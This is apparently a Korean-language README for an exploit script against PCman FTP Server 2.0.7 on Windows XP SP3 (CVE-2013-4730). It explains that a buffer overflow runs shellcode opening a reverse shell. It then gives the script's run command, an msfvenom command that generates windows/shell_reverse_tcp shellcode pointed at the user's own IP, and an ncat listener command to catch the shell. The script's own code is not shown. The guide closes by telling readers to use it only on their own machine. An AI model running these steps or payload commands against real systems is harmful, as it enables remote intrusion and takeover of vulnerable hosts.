PCman FTP Server 버퍼 오버플로우 및 원격 코드 실행 [CVE-2013-4730]

CVE-2013-4730을 이용한 PCman FTP 서버 v.2.0.7에 대한 간단한 버퍼 오버플로우

작동 방식?

간단한 BoF가 버퍼를 덮어쓰고 셸코드를 실행하여 역방향 연결(리버스 셸)을 생성합니다.

취약한 머신:

PCman FTP 서버 버전 2.0.7이 실행되는 Windows XP SP3

실행

~$ python3 PCman.py <host> <port>

셸코드를 직접 교체하세요!!

~$ sudo ./msfvenom windows/shell_reverse_tcp LHOST=<your ip> LPORT=4444

Netcat 실행

~$ ncat -lvp <shellcode port>

자신의 머신에서만 사용하세요!!